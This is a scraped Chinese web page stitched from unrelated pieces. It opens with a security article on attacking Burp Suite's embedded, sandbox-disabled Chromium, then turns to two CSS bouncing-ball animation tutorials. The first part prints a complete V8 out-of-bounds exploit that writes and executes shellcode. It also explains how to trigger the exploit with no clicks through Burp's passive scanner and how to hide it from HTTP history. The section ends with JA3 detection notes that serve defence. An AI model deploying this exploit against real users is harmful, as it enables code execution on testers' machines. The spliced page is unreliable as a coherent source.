整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

反制爬虫之Burp Suite RCE

反制爬虫之Burp Suite RCE

、前言

Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

二、软件分析

以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。

在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。

那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能够调用内置Chromium浏览器渲染网页。

当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。

browsercore32.exe进程运行参数如下:

// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window

// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。

三、漏洞利用

Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)

这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行
Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。

<html>
<head></head>
</body>
<script>
function pwn() {
    var f64Arr=new Float64Array(1);
    var u32Arr=new Uint32Array(f64Arr.buffer);

    function f2u(f) {
        f64Arr[0]=f;
        return u32Arr;
    }

    function u2f(h, l)
    {
        u32Arr[0]=l;
        u32Arr[1]=h;
        return f64Arr[0];
    }

    function hex(i) {
        return "0x" + i.toString(16).padStart(8, "0");
    }

    function log(str) {
        console.log(str);
        document.body.innerText +=str + '\n';
    }

    var big_arr=[1.1, 1.2];
    var ab=new ArrayBuffer(0x233);
    var data_view=new DataView(ab);

    function opt_me(x) {
        var oob_arr=[1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
        big_arr=[1.1, 1.2];
        ab=new ArrayBuffer(0x233);
        data_view=new DataView(ab);

        let obj={
            a: -0
        };
        let idx=Object.is(Math.expm1(x), obj.a) * 10;

        var tmp=f2u(oob_arr[idx])[0];
        oob_arr[idx]=u2f(0x234, tmp);
    }
    for (let a=0; a < 0x1000; a++)
        opt_me(0);

    opt_me(-0);
    var optObj={
        flag: 0x266,
        funcAddr: opt_me
    };

    log("[+] big_arr.length: " + big_arr.length);

    if (big_arr.length !=282) {
        log("[-] Can not modify big_arr length !");
        return;
    }
    var backing_store_idx=-1;
    var backing_store_in_hign_mem=false;
    var OptObj_idx=-1;
    var OptObj_idx_in_hign_mem=false;

    for (let a=0; a < 0x100; a++) {
        if (backing_store_idx==-1) {
            if (f2u(big_arr[a])[0]==0x466) {
                backing_store_in_hign_mem=true;
                backing_store_idx=a;
            } else if (f2u(big_arr[a])[1]==0x466) {
                backing_store_in_hign_mem=false;
                backing_store_idx=a + 1;
            }
        }

        else if (OptObj_idx==-1) {
            if (f2u(big_arr[a])[0]==0x4cc) {
                OptObj_idx_in_hign_mem=true;
                OptObj_idx=a;
            } else if (f2u(big_arr[a])[1]==0x4cc) {
                OptObj_idx_in_hign_mem=false;
                OptObj_idx=a + 1;
            }
        }

    }

    if (backing_store_idx==-1) {
        log("[-] Can not find backing store !");
        return;
    } else
        log("[+] backing store idx: " + backing_store_idx +
            ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");

    if (OptObj_idx==-1) {
        log("[-] Can not find Opt Obj !");
        return;
    } else
        log("[+] OptObj idx: " + OptObj_idx +
            ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");

    var backing_store=(backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);
    log("[+] Origin backing store: " + hex(backing_store));

    var dataNearBS=(!backing_store_in_hign_mem ?
        f2u(big_arr[backing_store_idx])[1] :
        f2u(big_arr[backing_store_idx])[0]);

    function read(addr) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx]=u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx]=u2f(dataNearBS, addr);
        return data_view.getInt32(0, true);
    }

    function write(addr, msg) {
        if (backing_store_in_hign_mem)
            big_arr[backing_store_idx]=u2f(addr, dataNearBS);
        else
            big_arr[backing_store_idx]=u2f(dataNearBS, addr);
        data_view.setInt32(0, msg, true);
    }

    var OptJSFuncAddr=(OptObj_idx_in_hign_mem ?
        f2u(big_arr[OptObj_idx])[1] :
        f2u(big_arr[OptObj_idx])[0]) - 1;
    log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));

    var OptJSFuncCodeAddr=read(OptJSFuncAddr + 0x18) - 1;
    log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));

    var RWX_Mem_Addr=OptJSFuncCodeAddr + 0x40;
    log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));

    var shellcode=new Uint8Array(
           [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
            0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
            0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
            0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
            0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
            0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
            0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
            0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
            0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
            0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
            0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
            0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
            0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
    );

    log("[+] writing shellcode ... ");
    for (let i=0; i < shellcode.length; i++)
        write(RWX_Mem_Addr + i, shellcode[i]);

    log("[+] execute shellcode !");
    opt_me();
}
pwn();
</script>
</body>
</html>

用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。

四、进阶攻击

Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。

Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。

其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)

JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。

额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。

额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:

五、流量特征检测

默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。

不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。

个视频来看一个小球碰撞边界的运动效果。可以看到有一个小球在随机运动,然后当碰到边界它就会反弹出去,似乎可以用来做碰撞边界的检测。

想一下这个例子可不可以只用CSS来做?其实是可以的,但是这里它并不算是边界检测,又或者说它只能检测到整个窗口的边界,然后反弹。如果是有其它元素,想检测和其它元素有没有发生碰撞,用CSS就很难实现了。

先来看一下这个demo,现在非常简单,就写了一个div,然后给它一些基本的样式,用来模拟这个小球。

接下来就要想一下,怎么样可以让这个小球动起来?无非就是给它添加一个动画对吧?这个动画应该控制哪些属性发生变化,可以让这个小球动起来呢?是不是控制这两个属性?

先来控制水平方向的运动,也就是left,因为初始状态就是让它从0开始。CSS上面设置的也是0,所以from可以省略不写,只写吐就行了。结束的状态是让小球运动到边界。这里可以用一个计算的函数,水平方向用整个视口的宽度,再减去小球自身的宽度,再把这个动画给它绑定到小球上面,这样小球它就可以动起来了。

但是它只是往一个方向来动并没有反弹的效果,要让小球反弹的也很简单,给它加一个alternate,当动画执行到最后状态的时候,再反过来执行就可以了。看一下,小球运动到边界它就反弹了,但是现在只是水平方向的运动,还要加上垂直方向的运动。

垂直方向和水平方向原理是一样的,给它复制一下,再改一下动画的名称,left改成top,视口的宽度就改成视口的高度,再把这个动画绑定上去。这里名称再改一下,看一下效果。现在确实水平和垂直方向同时在运动了,但是它只是往对角线运动,没有一种随机弹跳的效果。

怎么样可以让这个运动不要那么规律?不要只是往对角线来运动,看起来有一些随机性。这里也很简单,只要让这两个动画完成的时间稍微错开一点就可以了。

→比方水平方向的给它3.6秒,垂直方向就2.3秒,看一下最终的效果。现在的运动就不是只往对角线来运动了,看起来有一定的随机性,然后运动到边界就可以回弹过来。

这个视频就到这里,感谢大家的收看。

文,我们将一起学习,使用纯 CSS,实现如下所示的动画效果:

上面的动画效果,非常有意思,核心有两点:

  1. 小球随机做 X、Y 方向的直线运动,并且能够实现碰撞到边界的时候,实现反弹效果
  2. 小球在碰撞边界的瞬间,颜色发生随机的变化

嗯?很有意思的效果。看上去,我们好像使用 CSS 实现了碰撞检测

然而,实际情况真的是这样吗?让我们一起一探究竟!

实现 X 轴方向的运动

这里其实我们并没有实现碰撞检测,因为小球和小球之间接触时,并没有发生碰撞效果。

我们只实现了,小球与边界之间的碰撞反应。不过这里,也并非碰撞检测,我们只需要设置好单个方向的运动动画,并且设置 animation-direction: alternate; 即可!

下面,我们一起来实现单个方向上的运动动画:

<div></div>
div {
    position: absolute;
    top: 0;
    left: 0;
    width: 100px;
    height: 100px;
    border-radius: 50%;
    background: #0cf;
    animation: horizontal 3s infinite linear alternate;
}

@keyframes horizontal {
    from { 
        left: 0;
    }
    to { 
        left: calc(100vw - 100px);
    }
}

简单解读一下:

  1. 元素设置为 position: absolute 绝对定位,利用 left 进行 X 轴方向的运动
  2. 我们让元素 div 运动的距离为 left: calc(100vw - 100px),元素本身的高宽都是 100px,因此相当于运动到屏幕的最右侧
  3. 动画设置了 alternate 也就是 animation-direction: alternate; 的简写,表示动画在每个循环中正反交替播放

这样,我们就巧妙的实现了,在视觉上,小球元素移动到最右侧边界时,回弹的效果:

如法炮制 Y 轴方向的运动

好,有了上面的铺垫,我们只需要再如法炮制 Y 轴方向的运动即可。

利用元素的 top 进行 Y 轴方向的运动:

div {
    position: absolute;
    top: 0;
    left: 0;
    width: 100px;
    height: 100px;
    border-radius: 50%;
    background: #0cf;
    animation: 
        horizontal 3s infinite linear alternate,
        vertical 3s infinite  linear alternate;
}

@keyframes horizontal {
    from { 
        left: 0;
    }
    to { 
        left: calc(100vw - 100px);
    }
}

@keyframes vertical {
    from { 
        top: 0;
    }
    to { 
        top: calc(100vh - 100px);
    }
}

我们增加了一个 vertical 3s infinite linear alternate Y 轴的运动动画,实现小球从 top: 0 到 top: calc(100vh - 100px); 的运动。

这样,我们就成功的得到了 X、Y 两个方向上的小球运动,它们叠加在一起的效果如下:

当然,此时的问题在于,缺少了随机性,小球的始终在左上和右下角之间来回运动。

为了解决这个问题,我们需要添加一定的随机性,这个问题也要解决,我们只需要让两个方向上运动时间不一致即可。

我们修改一下代码,让 X、Y 轴的运动时长不一致即可:

div {
    position: absolute;
    // ...
    animation: 
        horizontal 2.6s infinite linear alternate,
        vertical 1.9s infinite  linear alternate;
}

如此一来,整体的效果就好上了不少,由于整个动画是无限反复进行的,随着时间的推进,整个动画呈现出来的就是无序、随机的运动

使用 transform 替代 top、left

当然,上面的效果基本上没有什么太大的问题了,但是代码层面不够优雅,主要有两点问题:

  1. 元素移动使用的是 top 和 left,性能相对较差,需要使用 transform 进行替代
  2. 代码中 hardcode 了 100px,由于 DEMO 中小球的大小是 100px x 100px,并且在动画的代码中也使用了 100px 这个值进行了运动终态的计算,因此如果想修改小球的元素大小,需要改动地方较多

上述两个问题,使用 transform: translate() 都可以解决,但是我们为什么一开始不用 transform 呢?

我们来尝试一下,使用 transform 替代 top、left:

div {
    position: absolute;
    top: 0;
    left: 0;
    width: 100px;
    height: 100px;
    border-radius: 50%;
    background: #0cf;
    animation: 
        horizontal 2.6s infinite linear alternate,
        vertical 1.9s infinite  linear alternate;
}
@keyframes horizontal {
    from { transform: translateX(0); }
    to { transform: translateX(calc(100vw - 100%)); }
}
@keyframes vertical {
    from { transform: translateY(0); }
    to { transform: translateY(calc(100vh - 100%)); }
}

上述代码中,我们使用了 transform 替代 top、left 运动。并且,将动画代码中的 100px 替换成了 100%,这一点的好处是,在 transform: translate 中,100% 表示的是元素本身的高宽,这样,当我们改变元素本身的大小时,就无需再改变 @keyframes 中的代码,通用性更强。

我们来看看修改后的效果:

有点问题!预想中的效果并没有出现,整个动画只有 Y 轴方向上的动画效果。

这是什么原因呢?

其本质在于,定义的 vertical 1.9s infinite linear alternate 的垂直方向的动画效果覆盖了在其之前定义的 transform: translateX(calc(100vw - 100%)) 动画效果。

说人话就是 X、Y 轴的动画都使用了 transform 属性,两者之间造成了冲突

使用 animation-composition 进行动画合成

在之前,这种情况基本是无解的,常见的解决方案就是:

  1. 解法一:使用 top、left 替代 transform
  2. 解法二:多一层嵌套,将一个方向的动画拆解到元素的父元素上

不过,到今天,这个问题有了更好的解法!也就是 CSS animation 家族中的新属性 —— animation-composition。

这是一个非常新的属性,表示动画合成属性,从 Chrome 112 版本开始支持。

有三种不同的取值:

{
    animation-composition: replace;        // 表示动画值替换
    animation-composition: add;              // 表示动画值追加
    animation-composition: accumulate; // 表示动画值累加
}

本文不会详细介绍 animation-composition,感兴趣的可以看看 MDN 的属性介绍或者 XBOXYAN 大佬的这篇文章 -- 了解一下全新的CSS动画合成属性animation-composition

这里,基于上面的代码,我们只需要再多设置一个 animation-composition: accumulate 即可解决问题:

div {
    animation: 
        horizontal 2.6s infinite linear alternate,
        vertical 1.9s infinite  linear alternate;
    animation-composition: accumulate;
}

此时,我们就能通过一个元素,利用 transform 得到 X、Y 两个方向位移动画的合成效果,也就是我们想要的效果:

使用 steps 实现颜色切换

解决了位移动画的问题,我们就只剩下最后一个问题了,如何在碰撞的瞬间,实现颜色的切换?

这里也非常好解决,由于我们是知道每一轮 X、Y 方向上的动画时长的,那我们只需要在每次这个结点上,切换一次颜色即可。

并且,由于颜色不是过渡变换,而是直接的跳变,所以,我们需要用到 animation 中的 animation-timing-function: steps(),也就是步骤缓动函数。

举个例子,假设 X 方向上,单次的动画时长为 3s,那我们可以设置一个 steps(10) 的颜色动画,总时长为 30s,这样,每隔 3s 就会触发一次 steps() 步骤动画,颜色的变化就能够和小球与边界的碰撞动画发生在同一时刻。

那如何快速实现颜色的变化呢?利用 filter: hue-rotate() 即可快速实现颜色的变化。

理解一下下面的代码:

<div class="normal"></div>
<div class="steps"></div>
div {
    width: 200px;
    height: 200px;
    background: #fc0;
}
.normal {
    animation: colorChange 10s linear infinite;
}
.steps {
    animation: colorChange 10s steps(5) infinite;
}
@keyframes colorChange {
    100% {
        filter: hue-rotate(360deg);
    }
}

这里,我们用 filter: hue-rotate(360deg) 的改变,实现颜色的变化,观察下面的动图,理解 steps(5) 的作用。

  1. animation: colorChange 10s linear infinite 表示背景动画的过渡变化
  2. animation: colorChange 10s steps(5) infinite,这里表示 10s 的动画分成 5 步,每两秒,会触发一次动画:

效果如下:

理解了这一步,我们就可以把颜色的变化,也一起叠加到上述的小球变化中:

div {
    animation: 
        horizontal 2.6s infinite linear alternate,
        vertical 2s infinite  linear alternate,
        colorX 26s infinite steps(10),
        colorY 14s infinite steps(7);
    animation-composition: accumulate;
}

@keyframes horizontal {
    from { transform: translateX(0); }
    to { transform: translateX(calc(100vw - 100%)); }
}
@keyframes vertical {
    from { transform: translateY(0); }
    to { transform: translateY(calc(100vh - 100%)); }
}
@keyframes colorX {
    to {
        filter: hue-rotate(360deg);
    }
}
@keyframes colorY {
    to {
        filter: hue-rotate(360deg);
    }
}

这样,我们就成功的得到了题图中的效果:

完整的代码,你可以戳这里:Random Circle Path

应用于图片效果、应用与多粒子效果

OK,上面,我们就把整个效果的完整原理剖析了一遍。

掌握了整个原理之后,我们就可以把这个效果应用于不同场景中。

譬如,假设我们有这么一张图片:

基于上面的效果,稍加改造,我们就可以得到类似的如下效果:

<div></div>
div {
    width: 220px;
    height: 97px;
    background: linear-gradient(#f00, #f00), url(https://s1.ax1x.com/2023/08/15/pPQm9oT.jpg);
    background-blend-mode: lighten;
    background-size: contain; 
    animation: horizontal 3.7s infinite -1.4s linear alternate,
            vertical 4.1s infinite -2.1s linear alternate,
            colorX 37s infinite -1.4s steps(10),
            colorY 28.7s infinite -2.1s steps(7);
    animation-composition: accumulate;
}
@keyframes horizontal {
    from { transform: translateX(0); }
    to { transform: translateX(calc(100vw - 100%)); }
}
@keyframes vertical {
    from { transform: translateY(0); }
    to { transform: translateY(calc(100vh - 100%)); }
}
@keyframes colorX {
    to {
        filter: hue-rotate(2185deg);
    }
}
@keyframes colorY {
    to {
        filter: hue-rotate(1769deg);
    }
}

效果如下:

上面的 DEMO 是基于元素背景色的,本 DEMO 是基于图片的,因此这里多了一步,利用 mix-blend-mode,实现了图片颜色的变化。

完整的代码,你可以戳这里:CodePen Demo -- Random DVD Path

实现多粒子碰撞

OK,我们再进一步,基于上面的效果,我们可以实现各种有趣的粒子效果,如果同时让页面存在 1000 个粒子呢?

下面是我使用 CSS-Doodle 实现的纯 CSS 的粒子效果,其核心原理与上面的保持一致,只是添加了更多的随机性:

Amazing!是不是非常有趣,整个效果的代码基于 CSS-doodle 的语法,不超过 40 行。完整的代码,你可以戳这里:CSS Doodle - CSS Particles Animation

最后

总结一下,本文介绍了如何巧妙的利用 CSS 中的各种高阶技巧,组合实现类似于碰撞场景的动画效果。创建出了非常有趣的 CSS 动画,期间各种技巧的组合运用,值得好好琢磨学习。



链接:https://juejin.cn/post/7269797025863499837